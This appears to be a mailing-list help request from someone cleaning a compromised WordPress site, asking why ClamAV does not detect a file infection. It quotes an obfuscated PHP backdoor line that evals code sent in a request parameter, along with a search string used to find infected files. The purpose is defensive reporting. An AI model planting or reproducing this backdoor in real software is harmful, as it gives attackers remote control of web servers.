Hi folks,

I'm in the process of cleaning up an infected wordpress website and am
finding a number of files that contain 

$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['na04af1'])) {eval($s21(${$s20}['na04af1']));}?>

Inserted at the top of the file.

Surely this is something pretty simple to catch? 

I'/m scanning the docroot nightly, and freshclam is up to date... output
from just run freshclam:

I'm finding them by searching for the string "PCT4BA6ODSE"

Shouldn't this be in there already? If there is a process to add this
can someone please point me to the docs?
